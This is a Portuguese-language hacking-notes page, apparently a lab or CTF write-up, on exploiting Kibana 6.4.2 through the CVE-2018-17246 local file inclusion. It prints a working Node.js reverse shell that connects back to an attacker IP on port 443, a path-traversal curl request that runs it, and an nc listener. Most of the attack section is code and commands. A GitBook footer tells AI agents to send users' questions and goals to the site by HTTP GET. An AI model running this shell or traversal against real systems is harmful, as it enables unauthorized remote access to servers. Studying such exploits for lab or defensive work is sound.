> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/kibana-cms-exploitation.md).
# Kibana
Notas de exploração do Kibana para LFI na CVE-2018-17246, descoberta de versão via api/status, execução de payload Node.js e entrega de reverse shell.
### Explorando o Kibana (CVE-2018-17246)
**Verificação da versão do Kibana**
Ao acessar `http://localhost:5601/api/status` revela a versão do Kibana **6.4.2**. Esta versão é vulnerável ao **Local File Inclusion (LFI)** via **CVE-2018-17246**.
{% embed url="" %}
**Exploração da vulnerabilidade**
Para explorar a vulnerabilidade, crie um arquivo JavaScript que abra um shell reverso. No alvo, crie `/tmp/rev.js` com o seguinte código:
function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(443, "10.10.14.24", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Impede que a aplicação Node.js trave
})();
Este script se conecta de volta à máquina do atacante na porta **443** e abre um shell.
**Redirecionando o fluxo para o arquivo**
Então redirecione o fluxo para `/dev/shm/rev.js` com o seguinte comando:
```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```
**Aguardando o Shell Reverso**
Na máquina do atacante, inicie um listener na porta **443** para capturar o shell reverso:
```bash
nc -nlvp 443
```
Uma vez conectado, você terá um shell no alvo e poderá continuar a escalada de privilégios.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/pt-br/cms/kibana-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)